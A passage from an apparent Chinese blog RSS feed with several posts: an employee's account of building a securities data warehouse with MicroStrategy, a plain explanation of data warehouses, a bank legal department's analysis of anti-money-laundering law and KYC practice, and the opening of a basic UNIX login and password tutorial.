加上那个字段再按某个字段某段时间来汇总，哦，怎么算出来跟供应商提供的报表的数值不对呢？于是打电话给供应商，让他们找问题。第二天给我一个升级补丁。好，报表好了。反反复复，搞死了。<BR><BR>总书j不是号召自主创新吗？干脆我自己搞一套。于是找出影响交易量的10个因素，建了一张表，前10个字段是（营业部、委托方式、交易所、币种、证券类别、客户规模、客户年龄段、交易性质、交易月份、交易周），最后一个是交易量。写了个SQL过程，每天生成这张表（后来才知道，这张表就叫CUBE。术语害死人呐。），再在EXECL里写了一些VBA（简直把美国人10个岗位分工干的活全包了），可以把这个表下载到EXCEL中。再用EXCEL的“数据旋转表”（正式中文译名为“数据透视表”，但我觉得一定要用上“旋转”这两个点睛的字）的功能，就可以灵活的配置与这10个因素字段相关的所有报表。（我们公司根本没人用过“数据旋转表”这个功能，甚至连“自动筛选”的功能都没用过。）自己挺得意的。但跟后面用MicroStrategy做出来的报表比起来就差得太远了！<BR><BR>日本母公司有一套MicroStratey，对中国区总裁说如何如何好，于是2005年初买了一套，做管理财务数据分析。由另一个同事负责。（当时我很奇怪，这种商业智能、BI、决策支持、数据仓库、OLAP、多维的工具应该由我来管理才对。）一直搁置在那里，直到05年底。业务部门提出对营业部每月新增底有效客户进行分析，才想起让我用MicroStrategy作为平台。正中下怀。于是，构建一个完全独立于供应商数据结构体系的数据仓库（这里指狭义的数据仓库，或者叫数据仓库展示区）成了一项现实的工作。<BR><BR>开始着手设计表结构。（设计一套完整的证券公司业务数据仓库可不是一件好玩的事情。）完全是瀑布方法进行设计，不断的尝试，修改，从头再来。几个月前曾沿用供应商的字段命名规则，维度表不使用代理键，试着做了套数据仓库模型，用MicroStrategy做做报表，还可以。到了春节，下决心完全重新设计这个数据仓库。这下可好，好多个晚上睡不好，脑子里完全是这个表应该是什么字段，时间维度如何划分层次，如何来划分事实，搞几个大的事实范畴，粒度到什么级别，那些事实是一个粒度，这些事实需要不同的事实表描述吗，维度表直接的关系，怎样设计维度最能保证将来的扩充性，如何避免雪花型。不断的返工。整个模型，越来越清晰。最终，自己觉得满意了，既能满足最基本的需求，也能保证将来对这个模型的扩充。又开始写SQL存储过程，验证数据转换的准确性，不断的修改，不断的扩充。不断的告诫自己，不要过于最求完美，告诫自己适度的缺陷是项目前进的保证。总之，有了一套完全自主知识产权的东西，并且自认为还是比较完备、复扎和严谨的，没有足够的思索是难以获得这个东西的。<BR><BR>开始设置MicroStrategy，从没系统的用过，什么都是摸石头过河。但在使用这个OLAP工具的时候，完全体会到它的好处。因为，我为业务部门做过太多的SQL统计，多到我自己都想要搞一套SELECT语句的自动生成工具。结果发现，MICROSTRATEGY完全就是我想要的东西！设置好什么实体、事实、度量、层系、上下级关系之类的东西，然后不断的试这做一些报表，找到自动生成的SELECT语句跟之前设置的那些东西到底是什么关系。没多久就摸熟了。（因为关于如何使用SELECT语句生成各种报表，我有太多的经验和苦闷。）<BR><BR>出来的效果出奇的好，灵活的实体配置，行列抬头的随意旋转，各种方向的钻取，汇总表的自动选取。从没觉得OLAP工具这么好用。有了它，我甚至再也不用去写SELECt语句，不用在不同的表直接Join来join去。3分钟就能做一张所谓的报表。<BR><BR>到现在，可以说，我已经完全领悟到数据仓库的好处。虽然这些好处只是冰山一角。<BR>但是话说回来，如果甲方没有我这个“人”，没有对数据仓库的理解人，没有愿意对数据分析的人，公司没有精细化管理的意识，没有较真的社会风气，“数据仓库”这个概念还不是废物一堆，或者是外国供应商骗钱的口实？</FONT>]]></description>
</item><item>
<title><![CDATA[几个非常经典的对“数据仓库”的解释]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xueflhg&amp;id=16335</link>
<author>xueflhg</author>
<pubDate>2006/7/6 15:20:05</pubDate>
<description><![CDATA[<SPAN class=javascript id=text3221632 style="FONT-SIZE: 12px"><FONT face=Verdana>数据库是一个装数据（信息的原材料）的地方。<BR>数据仓库是一种系统，这种系统也是用数据库装东西。<BR>数据仓库系统（用数据库装东西）与其他基础业务系统（例如财务系统、销售系统、人力资源系统等，也是用数据库装东西）的区别是：<BR>基础业务系统的特点是各管各的，例如财务系统生产了白菜，那么用一个数据库来装，人力资源系统生产了猪肉，再用一个数据库来装。我要做一道菜，需要分别到各个数据库去取，比较麻烦（现实的情况是大部分时候让种菜的农民伯伯送过来，但送过来的东西不一定是我想要的，而且不同的时候我想要不同的东西，经常会被农民伯伯骂，弄得双方都不开心）。另外一方面，各个数据库中放的是一些比较原始的东西，我要拿过来做菜，还需要经过很麻烦的清洗过程，一不小心里面可能就藏着一条大青虫。<BR>那么，数据仓库系统就是建立一个大的超市，将各地农民伯伯出产的东西收集过来，清洗干净，分门别类地放好。这样，你要哪种菜的时候，直接从超市里面拿就可以了。</FONT></SPAN>]]></description>
</item><item>
<title><![CDATA[商业银行反洗钱的法律与实务分析]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xueflhg&amp;id=11570</link>
<author>xueflhg</author>
<pubDate>2006/2/8 11:25:04</pubDate>
<description><![CDATA[
<TABLE>
<TBODY>
<TR vAlign=top>
<TD vAlign=top colSpan=2>
<P><STRONG>一、反洗钱的内容和现状</STRONG></P>
<P>　　(一)洗钱的界定</P>
<P>　　1988年的《联合国禁止非法贩运麻醉药品和精神药物公约》将洗钱定义为：(1)明知资产来源于毒品，为了隐瞒或掩饰其非法来源，或为了协助任何涉及此种犯罪的人逃避其行为的法律后果而转换或转让该资产；(2)明知资产来源于毒品犯罪，而隐瞒或掩饰该资产的性质、来源、位置、处置、转移、控制关系或所有权的行为。</P>
<P>　　巴塞尔银行条例则侧重于金融交易，将洗钱描述为：银行或其他金融机构可能无意间被利用作为犯罪资金转移或存储的中介。犯罪分子及其同伙利用金融系统将资金从一账户向另一账户作支付和转移，以掩盖款项的真实来源和受益所有权关系；或者利用金融系统提供的安全保管服务存放款项，此即常言之洗钱。</P>
<P>　　美国《洗钱控制法》、《银行保密法》等规定了洗钱犯罪，依据美国相关法律规定：洗钱是指犯罪分子通过银行把非法得来的钱财加以转移、兑换、购买股票或者直接进行投资，从而掩盖其非法来源和非法性质，使该资产合法化的行为。一般的行为表现是：第一、把钱存入海外银行；第二、先把钱存入本国银行，然后尽快以电汇方式把这些金钱转到国外保密银行；第三、从本地及外国证券公司买入股票，然后卖出；第四、把钱带入合法赌场，购买筹码，马上兑换回现金，造成钱是从赌场赢来的假象。</P>
<P>　　关于洗钱罪的界定，我国学者有多种观点，如：洗钱罪是指明知是毒品犯罪、黑社会性质的组织犯罪、走私犯罪的违法所得及其产生的收益，丽提供资金账户；协助将财产转换为现金或者金融票据、通过转账结算等方式协助资金转移、协助将资金汇往境外以及以其他方法掩饰、隐瞒其来源和性质，意图使犯罪的违法所得及其收益合法化，逃避法律制裁的行为。我国刑法第191条对洗钱定义为：明知是毒品犯罪、黑社会性质的组织犯罪、走私犯罪的违法所得及其产生的收益，掩饰、隐瞒其来源和性质的行为。</P>
<P>　　由此可见，各国由于立法传统、实际情况的不同，在洗钱罪的界定上存在一些差异。首先，对洗钱罪界定的角度有所不同，如有的界定注意该罪与金融等机构的关系；有的界定注重该罪与“上游犯罪”的关系；有的界定则注重该罪的行为方式等。其次，对洗钱罪性质的认定有所不同，如有的着眼于其对社会经济和被害人财产的侵害，把它规定为侵犯财产罪；有的着眼于它对司法的妨害，把它归结为妨害司法罪的一种；有的则着眼于它与为取得黑钱而实施的所谓的“上游犯罪”的密切关系，把它规定在“上游犯罪”的条文之后。笔者认为，就其本质而言，确定洗钱犯罪时，应当考虑的主要因素有：是否具有掩盖财产或财产利益的来源或性质的行为，财产的来源、性质有违法性；次要因素主要有：洗钱行为利用金融等中介机构，洗钱的行为方式，如“清洗”性质的行为或“投资”性质的行为等。</P>
<P>　　(二)洗钱的形式及其影响</P>
<P>　　洗钱的方式可以根据不同的标准作出不同的分类，比如根据其存续时间的不同，可将其分为传统的洗钱方式和新的洗钱方式。传统的洗钱方式主要有：货币走私，货币兑换，投资不动产；此外，利用赌场、合法公司、地下钱庄、中介机构等进行洗钱，利用虚假信用证、篡改发票等手法进行洗钱都是传统的洗钱方式。所谓新的洗钱方式，是在科技进步和金融创新的形势下出现的洗钱方式，如通过通信账户进行洗钱，通过互联网信用卡进行洗钱，运用国际互联网银行进行洗钱，利用智能卡进行洗钱等。笔者认为，洗钱的方式也可以根据是否借助金融机构进行划分，那么，与金融机构相关的洗钱方式主要有：将犯罪所得以现金方式存入金融机构，将金融票据兑换成现金再将现金换成银行汇票汇出，通过金融衍生产品交易进行洗钱，在金融监管不完善的国家进行投资进行洗钱，在银行保密制度较严的国家开立账户存入或提取现金进行洗钱等。此外，新的洗钱方式也表明目前利用金融机构进行洗钱是洗钱的主要方式，而金融机构则包括银行性的金融机构和非银行性的金融机构。由此可见银行等金融机构进行反洗钱的必要性。</P>
<P>　　洗钱的影响是多方面的。对于金融机构而言，不仅会影响其经济效益，也会影响其社会效益。首先，洗钱会损害金融机构的声誉。银行一旦被卷入洗钱丑闻，会极大的损害其在客户心目中的形象和声誉，进而影响客户对银行的信任及银行的经济效益。其次，洗钱影响金融机构进入国际市场。由于我国尚未有反洗钱立法，所以，我国银行进入国际金融市场会遇到很大的阻碍。再次，洗钱影响国家的金融市场。洗钱对金融市场的影响是多方面的，如由于脏钱的流入影响异国的利率变动、由于洗钱行为对金融机构的影响而使一国潜在的金融危机的风险加大等。</P>
<P>　　近几年来，国际洗钱活动呈现出若干趋势：洗钱分子将会更多的利用金融机构和金融从业人员为其洗钱服务；洗钱分子将会更广泛的利用新型的金融工具与金融衍生产品洗钱；洗钱分子将会利用国际金融系统的一体化，把洗钱网络铺设到世界各地；洗钱分子将会加强洗钱手段的复杂化和洗钱技术的现代化等。这些趋势表明，国际洗钱活动将与金融机构发生更密切的联系。</P>
<P>　　(三)我国反洗钱的现状</P>
<P>　　1．立法现状。目前我国尚无统一的反洗钱立法。我国反洗钱立法方面的主要内容如下：1997年修订的《刑法》(第191条)规定了洗钱罪的罪状和法定刑，结束了洗钱方面无明确规定的局面；国务院发布施行《个人存款账户实名制规定》有利于反洗钱；中国人民银行制定的《大额现金支付登记备案规定》和《关于大额现金支付管理的通知》的有关规定，如《关于大额现金支付管理的通知》规定，个人储户一次性从储蓄账户提取现金5万元(不含5万元)以上的，储蓄机构柜台人员需要求取款人提供有效身份证件并经储蓄机构负责人审核后支付；此外，《中华人民共和国证券法》、《中华人民共和国外汇管理条例》等法律也对异常交易报告制度、客户身份识别等有所规定。</P>
<P>　　目前，我国初步形成以刑法为核心、以行政法规为准则、以部门规章为规范的反洗钱法律框架。其中，新刑法是我国反洗钱领域效力最高，与国际规范联系最为密切的部分；行政法规对反洗钱活动也作出了相应规定；而将法律法规落实到实际反洗钱工作中的是有关部门规章。</P>
<P>　　2．银行的反洗钱实践。我国银行开展反洗钱是由内因和外因等多方面的因素促成的，内因如银行自身发展及应对挑战的需要，由于银行是否建立及建立何种程度的反洗钱机制，不仅影响到银行业务的开展，也影响到银行的经营风险和竞争力和社会形象，特别是在我国加入WTO后，加强银行的反洗钱工作成为银行加强自身竞争力的重要工作。对此，我国银行有着清醒的认识，纷纷加强本行的反洗钱工作。</P>
<P>　　中国人民银行。1997年，经国务院批准，中国人民银行公布了《关于大额现金支付管理的公告》，《公告》对银行开户单位基本账户设立及现金支付问题、严禁公款私存问题和银行卡的管理等八方面进行了明确规定。同时，一些针对反洗钱活动所需要其他配套措施已经出台：如《纳税申报制度》、《国际收支统计申报办法》、《中华人民共和国票据法》、《商业银行法》以及《人民银行法》等，这些都为实施反洗钱作了重要铺垫，提供了支持。2002年1月出台的《中华人民共和国外资金融机构管理条例实施细则》中第七条规定设立银行应具备的审慎性条件中包括：“(六)具有有效的反洗钱措施”，这说明中国人民银行将反洗钱工作视为一项重要工作。据悉，目前《反洗钱条例》已修订第三稿。特别值得一提的是，中国人民银行于2002年7月成立了支付交易监测处和反洗钱工作处，进一步加大了反洗钱工作力度。</P>
<P>　　中国银行。中国银行在国内同业中最早开展反洗钱工作。在1998年就制定了《中国银行海外机构反洗钱基本原则》，要求海外分支机构切实加强反洗钱工作。2001年6月又成立了反洗钱工作委员会，由行长亲自领导，委员会下设秘书处负责日常工作。该委员会统一负责中国银行的反洗钱工作，依照我国相关法规及监管要求，通过规范业务流程，健全反洗钱内部监管。此外，中国银行还制定了《中国银行反洗钱手册》，该手册表明中行的反洗钱措施主要包括四个方面：了解客户及其业务、可疑交易的识别和处理、内部交易记录和业务凭证的保存以及内控机制的加强和完善，而且，自2001年起，中国银行将反洗钱工作纳入了对分行绩效考核范围。中国银行还于 2002年4月在北京召开反洗钱及合规工作会，并召开了反洗钱国际论坛，加强与国家有关部门的沟通，探讨在国际背景下如何应对洗钱活动。</P>
<P>　　中国工商银行。2002年1月22日，工商银行总行召开反洗钱工作领导小组第一次会议。本次会议对工商银行反洗钱工作的组织机构、工作重点、工作要求及措施等进行了研究和部署。总行反洗钱工作领导小组由两名行长分别任组长及副组长，小组成员为与反洗钱相关部门的总经理。反洗钱工作领导小组下设办公室，反洗钱工作领导小组及办公室具有各自明确的职责，如反洗钱工作领导小组的主要职责是：就反洗钱问题进行调查研究，制定有关政策；制定行内反洗钱规则，并监督和检查该规则的执行情况；研究和改进反洗钱措施，提高员工的反洗钱意识；开展多种形式、多种层次的与国内国际反洗钱组织的合作及交流。</P>
<P>　　<STRONG>二、反洗钱涉及的若干法律问题</STRONG></P>
<P>　　(一)反洗钱的“上游犯罪”与反洗钱的界定</P>
<P>　　所谓上游犯罪是指可以构成洗钱罪的犯罪种类，是刑法领域谈及洗钱罪不可不论的问题，它不仅影响到对洗钱罪的认定，也影响着一国的反洗钱水平。一般认为，我国《刑法》规定洗钱罪的上游犯罪为毒品犯罪、黑社会性质的组织犯罪、走私犯罪三种，而不同的国家对上游犯罪的规定则各有不同，如有的只规定惩处贩毒所得的洗钱行为，有的只惩处某些特定犯罪或超过一定危害性的犯罪的洗钱行为，有的则对所有犯罪的洗钱行为予以惩处。笔者认为，我国对洗钱罪的“上游犯罪”的规定，存在以下问题：一是仅限于规定的三种犯罪，能否涵盖洗钱罪能涉及的罪刑，除上述犯罪外是否都不会引起洗钱罪；二是我国对毒品犯罪、黑社会性质的组织犯罪、走私罪的界定存在不同的认识，这对于认定洗钱罪是否会构成障碍；三是如果采用三种上游犯罪的规定，是否所有的毒品犯罪、黑社会性质的组织犯罪和走私犯罪都能构成洗钱罪；四是目前的规定是否会导致以其他犯罪行为引发的洗钱犯罪的发生，是否会影响到人们对其他洗钱行为的忽视。由于这些问题不是本文关注的重点，所以不再进一步分析。</P>
<P>　　(二)洗钱的立法模式与反洗钱实务的选择</P>
<P>　　本文以“了解你的客户”制度为例进行分析：了解你的客户(know your customer，KYC)是反洗钱领域中的一项重要内容，笔者认为，KYC的实践包括其在法律方面的实践和银行实务上的实践。</P>
<P>　　1．法律方面的实践。对客户身份的识别，因各国国情和立法选择的不同而有所不同，比如，根据是否建立了身份证制度，采取以身份证为基础的KYC制度，或以交易记录等为基础的KYC制度。根据各国的实践，在建立KYC制度时应考虑的问题主要有：对客户采取身份识别的条件，如何对客户的身份进行识别；对客户身份识别的程序规定，各国立法实践所体现出的立法模式有两类：一类是规定银行进行客户身份识别的各种情形；另一类是规定KYC的总体要求而赋予金融机构较大的裁量权。</P>
<P>　　识别客户身份的法律实践。有效的KYC制度离不开法律依据，从各国的法律法规中可以看出，虽然KYC是各国法律所关注的问题，但是在具体规定中仍然体现出一定的差异，如对KYC作出原则性规定或作出具有较强操作性的规定。下面，简要介绍《金融系统反洗钱指导准则》(以下简称《准则》)建立的KYC制度。《准则》对不同的客户建立了不同的核实身份的方法，包括对本地居民客户和跨国居民客户两大类。其中，本地居民客户中又包括个人客户，非面对面开户账户，本地公司客户和其他商业账户客户，公司、非公司商务活动，本地中介机构等；跨国居民客户包括跨国居民公司客户，跨国介绍的业务、信托/受托人/受益人账户，个人受托人和被指定人。《准则》要求保留的客户身份记录必须达到：能够表明身份证明的性质；是能够组成一份证据或提供如何获得证据、重新获得身份证明的细节信息。可见，在识别客户身份时，应当为其日后形成证据做好准备，因为KYC不仅是银行降低其洗钱风险的基础，也是银行履行法律对其要求的举证责任的基础。</P>
<P>　　2．银行的KYC实践。以花旗银行的KYC制度为例，其以KYC做为反洗钱的重要政策之一，并表明其将避免与身份不能确定的自然人或法人进行交易。花旗银行的KYC制度大致包括：获得客户的基本背景信息、客户的额外信息、特殊账户的信息、对代理人身份的识别、对已具备的客户信息的运用及建立其他与客户身份识别有关的政策及程序。具体讲，如确定拒绝提供要求的信息或提供的信息有矛盾，且此矛盾经过调查仍未解决的自然人或客户是“身份不能确定的自然人或法人”；建立银行内部对客户身份信息的共享，建立已有客户信息的业务的文件，确保业务中运用的KYC政策和程序保持一致性等。</P>
<P>　　3．对我国银行KYC制度的几点想法。由于我国尚未有统一的反洗钱法律，而这已经对KYC制度的建立造成了阻碍。因此，对于我国KYC制度，从立法角度应由立法机关与金融机构沟通，首先确立立法的途径，即确定是由法律规定较为细致的KYC制度，还是规定由金融机构有较大自由裁量权的KYC制度。笔者认为，在我国反洗钱尚处起步，金融机构及其客户对反洗钱的认识尚不充分的情况下，采取第一种立法途径较为适当。但是，在确定制度框架时，为加强制度的可行性，立法机构应与金融机构广泛深入的交换意见。从KYC制度的具体内容角度，应借鉴《准则》确定KYC制度的组成。笔者认为，一项完整的KYC制度应当包括：对KYC制度地位的确立，将KYC作为反洗钱的一项重要内容；确立对不同客户的不同身份识别方法；确立客户身份识别的例外规定，如确立不需进行客户身份识别的情形及需要加大客户身份识别力度的情形，前者如通过机构内部的客户身份信息共享而减少重复的客户身份识别，后者则如对中介机构进行的身份识别；应确立识别客户身份与反洗钱其他环节的关系，如明确KYC与交易报告、记录保存等环节之间的联系。另外，不同客户的身份识别还应当充分考虑客户与金融机构具有良好的业务关系及客户的信用评级、客户的所在国是否是金融行动特别工作组 (FATF)等确定的“黑名单”上的国家或地区等因素。</P>
<P>　　加强KYC宣传，建立金融机构的统一标准。虽然 KYC对金融机构并非新概念，但如何开展本行的KYC工作则成为银行注意的问题，而且不同程度的KYC制度对金融机构及其客户在业务及认识上也造成了困惑：银行担心过度的KYC制度的实施会使客户选择其他要求提供较少客户信息的银行的服务，而客户对KYC的认识不足会影响其对银行业务操作的认识。因此，只有加大对客户的相关宣传，如强化对实名制的意义的持久宣传，对洗钱对银行、国家、社会的损害的宣传，对客户身份识别在国外的普遍实行等的宣传等，使客户能够对KYC要求的义务积极履行；通过银行业同业机构或其他有权机构在法律明确规定出台前确立银行业的KYC标准，消除银行顾虑，继而为银行降低洗钱风险发挥积极作用。同时，加强KYC研究，探索新业务中的客户识别方法。由于金融工具的不断创新，对客户身份的识别也提出了新的要求，比如在“自动贸易方式”和“自动支付”方式下，由于快速化、匿名化和无监管交易基础造成的对身份识别、交易报告等带来的挑战，银行只有从技术和对新业务的研究及同业交流中积极寻求有效的身份识别机制，才能适应形势的变化。由此可见，我国的反洗钱立法模式选择需要在总结自身现状的基础上，借鉴国际上较为先进的立法模式，并逐步制定有效且适应国际趋势的反洗钱法律。</P>
<P>　　<STRONG>三、对商业银行进行反洗钱的建议</STRONG></P>
<P>　　1．研究掌握国内外现行的对金融机构反洗钱工作的基本要求。由于反洗钱工作使金融机构面临着实现经济效益和承担社会责任、满足客户要求与履行义务之间的复杂关系，使得金融机构在进行反洗钱时有一定的困难。为解决这种困难，切实可行的办法有二：其一，按照国内现行法律的要求和金融机构普遍的反洗钱水平，进行反洗钱工作。具体地讲，就是掌握我国刑法对洗钱罪的界定，对洗钱罪中涉及的行为高度重视、严加防范；按照《个人存款账户实名制规定》、《关于居民、非居民个人大额外币现钞存取有关问题的通知》、《关于提高境内居民因私兑换标准的通知》、《信用卡管理办法》、《银行卡业务管理办法》、《银行账户管理办法》等规定，进行反洗钱工作。其二，掌握国际上对金融机构进行反洗钱的要求和做法。笔者认为这是更为有效的方法。目前具有反洗钱工作优势的国家及金融机构不仅会进一步加强自身反洗钱的能力，也会不断地促进其反洗钱经验的推广。目前尚无反洗钱机制或反洗钱机制相对落后的金融机构，为适应全球重视反洗钱的趋势及增强自身竞争力和商誉的需要，会加大自身反洗钱的力度，而其中成本较低而又较为有效的方式自然是按照国际上普遍的对金融机构反洗钱的要求决定自己的制度。国际上对金融机构反洗钱的要求，如《联合国禁止洗钱法律范本》(1995年4月)规定金融机构应当配合(援助)反洗钱的监管机构，具体义务包括：于业务结束后，在不短于五年的期间内保存交易记录；金融机构的官员或雇员对有理由相信洗钱活动正在、已经或将要进行时向监管当局报告交易人的身份、交易本身及其他情况；遵守监管当局的指示；接收监管当局的检查、询问等；遵守监管当局的指导准则和培训要求。这些规定对于我国金融机构进行反洗钱工作有相当的参考价值，如制定反洗钱政策时应包括的内容、金融机构在反洗钱工作中应当遵循的要求及应当履行的义务及其他由此衍生出的内容等。</P>
<P>　　2．建立系统化的反洗钱工作机制。如前所述，一套有效的反洗钱机制应当包括：识别客户身份的制度、交易报告制度、可疑交易报告、记录的保存、反洗钱的内部控制机制、对员工的教育与培训制度。这里主要对可疑交易报告制度进行分析。首先，制度应对可疑交易的线索作出规定。如瑞士联邦金融委员会对具有洗钱迹象的一般因素和特殊因素均作出规定，其中：一般因素，如某项交易超出银行正常范围之外或其正常客户范围之外，并对客户进行某项交易唯独选择该银行不能作出解释；特殊因素又分为现金交易、活期存款账户与存款交易中的特殊因素，前者如临时客户购买大量银行支票，后者如没有指明谁是受益人的付给另一银行的汇票。其次，制度应当对报告的机构加以明确。可疑交易的报告应当包括：对本级行的反洗钱机构的报告，对上级行的反洗钱机构的报告、对监管当局的报告和对司法机关的报告，向哪一级机构报告应取决于可疑行为的性质和发现可疑行为的金融机构的地位。再次，制度应当对报告的处理规定具有可操作性的程序。与报告的机构相对应，处理报告的机构分别是本级行的反洗钱机构、上级行的反洗钱机构、监管当局和司法机关；处理的程序应当包括对报告分析的程序和对报告处理的程序，程序涉及的内容应当包括但不限于接收报告的人员，处理报告的时间限制，处理情况的书面记录或报告以及处理的标准和原则等。</P>
<P>　　3．加强对员工的反洗钱培训。强化员工的反洗钱培训对银行的反洗钱王作至关重要，比如客户身份识别制度只有在银行内部各部门及其员工的落实行动中才能实现其价值，特别是在一些由银行员工根据授权完成的客户身份识别工作的情形下，员工在KYC制度中格外重要。通过培训和管理，使金融机构的员工对洗钱行为有足够的警惕，并通过适当的报告制度加强KYC制度与反洗钱的其他环节的联系，如建立对客户信息变动的及时监控的程序以及银行员工对上级的报告程序、银行与金融监管机构间的报告程序间的连贯性和谐调性等。对于反洗钱培训，笔者认为应注意以下两个方面：第一，培训内容应当全面并具可操作性。鉴于我行反洗钱工作的实际情况，应当加快建立反洗钱的程序手册，使员工更易于进行反洗钱操作，并使反洗钱操作规范化、高效化。而对于程序的设定，一是应当由各业务部门对自身的业务程序有准确清楚的描述，并明确本业务程序中可能包含的洗钱隐患环节；二是由业务部门分别和反洗钱机构对本部门的程序内容进行研究分析，确定本部门的程序手册；三是由反洗钱机构汇总各部门的程序，再与所有的业务部门商讨，确定统一的反洗钱程序手册。在制定程序手册时，应当尽可能的与反洗钱水平较高的金融机构交流。第二，培训机制应当健全。我行的培训机制应当针对不同员工的要求，制定层次不同的反洗钱培训计划，如对一线员工侧重于识别客户及交易、可疑交易的报告的培训；对所有员工进行的反洗钱基本内容、规章制度的定期或不定期培训；对反洗钱关键岗位员工进行的更加深入、全面的反洗钱培训等。同时，设置不同层次的反洗钱培训机构和人员。不同层次的反洗钱培训机构是与各行级别相适应的培训机构，培训人员应当包括主要进行内部组织联络的人员、主要负责培训内容的人员和其他人员等。</P>
<P>　　4．加强反洗钱信息的交流。信息在反洗钱工作中至关重要，笔者认为，反洗钱的信息交流应当包括：银行内部的信息交流，银行之间的信息交流，银行与其他机构之间的信息交流。银行内部的信息交流机制，如花旗银行的反洗钱手册中曾提到银行内部的信息交流，主要是通过银行内部对客户信息的共享，减少不同分支机构、不同部门之间重新获取客户信息的成本，同时也使内部判断交易是否是可疑交易更加准确。可见，由于这类信息交流是银行信息网络所具有的功能，因此，建立这样的信息交流并非难事，但有些因素需要注意，如：一是要强调信息的性质和内容；二是根据实际，银行可以建立自己的反洗钱信息机构，该信息机构的形式可以是多层次的信息传输机构，也可以是单一的网络信息中心。至于银行之间的信息交流机制，其必要性在于反洗钱的国际合作的日益加强，这种国际合作使国内银行间要加强信息流以适应与其他国家合作的趋势，使不同国家的银行间需要通过信息交流实现反洗钱的国际合作。银行间信息的交流可以通过银行间自发设立的信息中心进行，也可以通过监管机构设立的信息中心进行，前者基于自愿，后者则具有强制色彩，采取何种形式应取决于一国的客观实际和金融机构的意愿。银行与其他机构之间的信息交流机制，与前两类信息交流机制有所不同，区别在于信息交流的目的有所不同，银行与其他机构之间的信息交流有一定的证据作用，如有些国家规定，银行如果对可疑交易作出了报告，以后该交易被认定为洗钱行为时，银行可以免责；报送的信息有所不同，如向司法机关报送的信息有时是由法律所规定的。笔者认为，向其他机构的信息报送，特别是向司法机构报送的信息，应当注意严格遵循现行法律的规定，如我国对银行协助查询、冻结、扣划的有关规定；报送信息的程度应当根据实际情况进行，一般认为对可疑交易的信息披露不应受为客户保密义务的限制，但我国对此尚无明确规定，因此，仍然要处理好信息披露与为客户保密之间的关系。最后，应当强调的是，无论是哪一类信息交流都必须充分注意对信息的保密工作，应当建立特定人员的有区别的信息获得和处理制度，以保证信息及时获取和信息的保密，即使是银行内部的信息交流也应如此。</P>
<P>　　<STRONG>参考文献</STRONG></P>
<P>　　[1]周振想．中国新刑法释论与罪案[M]．北京：中国方正出版社，1997．</P>
<P>　　[2]钊作俊．洗钱犯罪研究[J]．法律科学，1997， (5)．</P>
<P>　　[3]汪鑫．反洗钱立法刍议[J]．法学评论，1996， (5)．</P>
<P>　　[4]王大东．浅析洗钱犯罪及我国反洗钱对策[J]．政法论坛，1998，(5)．</P>
<P>　　[5]邵沙平．论英国对跨国洗钱的法律控制[J]，法学评论，1997，(4)，</P>
<P>　　[6]黄道秀．俄罗斯联邦刑法典[M]．北京：法律出版社，1996．</P>
<P>　　[7]罗结珍．法国刑法典[M]．北京：中国人民公安大学出版社，1995．</P>
<P>　　[8]宋炎禄．洗钱与反洗钱的较量[M]．成都：西南财经大学出版社，2000．</P>
<P></P></TD></TR>
<TR vAlign=bottom>
<TD colSpan=2>
<DIV align=right>
<P>作者：中国工商银行总行法律事务部 黄晓华　来源：金融论坛</P></DIV></TD></TR></TBODY></TABLE>]]></description>
</item><item>
<title><![CDATA[UNIX系统操作命令]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xueflhg&amp;id=11223</link>
<author>xueflhg</author>
<pubDate>2006/1/16 10:42:17</pubDate>
<description><![CDATA[
<TABLE style="TABLE-LAYOUT: fixed; BORDER-COLLAPSE: collapse" cellSpacing=0 cellPadding=0 width="96%" align=center border=0>
<TBODY>
<TR>
<TD align=middle width="100%" bgColor=#ffffff height=20><FONT color=#004fc6><B><FONT face="Arial, Helvetica, sans-serif" size=3>UNIX系统操作命令</FONT> </B></FONT></TD></TR>
<TR>
<TD align=middle width="100%" bgColor=#183ead height=1></TD></TR>
<TR>
<TD width="100%" height=2></TD></TR>
<TR>
<TD width="100%" height=38>
<DIV align=center><B>作者</B>：<SPAN lang=en-us>佚名</SPAN> <B>来源</B>：<SPAN lang=en-us>InterNet</SPAN> <B>加入时间</B>：2005-2-15 </DIV></TD></TR>
<TR>
<TD class=main vAlign=top width="100%">
<SCRIPT language=JavaScript src="../js/ads_a3.js"></SCRIPT>
<IMG height=1 src="http://www.pcbookcn.com/images/ads_200.gif" width=1 align=left> <SPAN class=main>
<H3>
<CENTER>
<P>第一章&nbsp; 登录和退出<BR></P></CENTER></H3><BR><BR>&nbsp;&nbsp;&nbsp; 用户在登录前，首先要向系统管理员申请一个用户注册名，不论用户从哪台计<BR>算机登录到ITPNET上都将访问相同的文件系统。<BR><BR>1.1 登录<BR>&nbsp;&nbsp;&nbsp; 当屏幕上出现Login提示符时，用户可以输入自己的用户注册名，并按回车键。<BR>若有口令，系统将提示用户输入密码，并按回车键，口令输入正确后，用户登录成<BR>功。这时，屏幕上会显示出一些信息和命令提示符。如：<BR>&nbsp;&nbsp;&nbsp; Login: guest [Enter]<BR>&nbsp;&nbsp;&nbsp; passwd: ******&nbsp; [Enter]<BR>&nbsp;&nbsp;&nbsp; sun%<BR>注: 用户名要用小写字母输入，UNIX系统区分大小写字母。<BR><BR>1.2 退出<BR>&nbsp;&nbsp;&nbsp; 当用户准备退出自己的计算机帐号时，可在系统示符下输入logout或exit或按<BR>[Ctrl-D]。当屏幕出现Login时，用户可以安全地离开计算机了。如：<BR>&nbsp;&nbsp;&nbsp; sun% logout [Enter]<BR>&nbsp;&nbsp;&nbsp; Login：<BR><BR>1.3 修改口令<BR>&nbsp;&nbsp;&nbsp; 为了防止他人使用自己的帐号，在你首次登录后，请用passwd命令修改只有本<BR>人知道的保密口令，口令通常由此可6到8个字母数字组成。如：<BR>&nbsp;&nbsp;&nbsp; sun% passwd [Enter]<BR>&nbsp;&nbsp;&nbsp; Old Passwd: ******<BR>&nbsp;&nbsp;&nbsp; New Passwd: ******<BR>&nbsp;&nbsp;&nbsp; Retype New Passwd: ******<BR>注：当你退出系统再次登录时，就要使用新的口令。<BR><BR><BR>
<H3>
<CENTER>
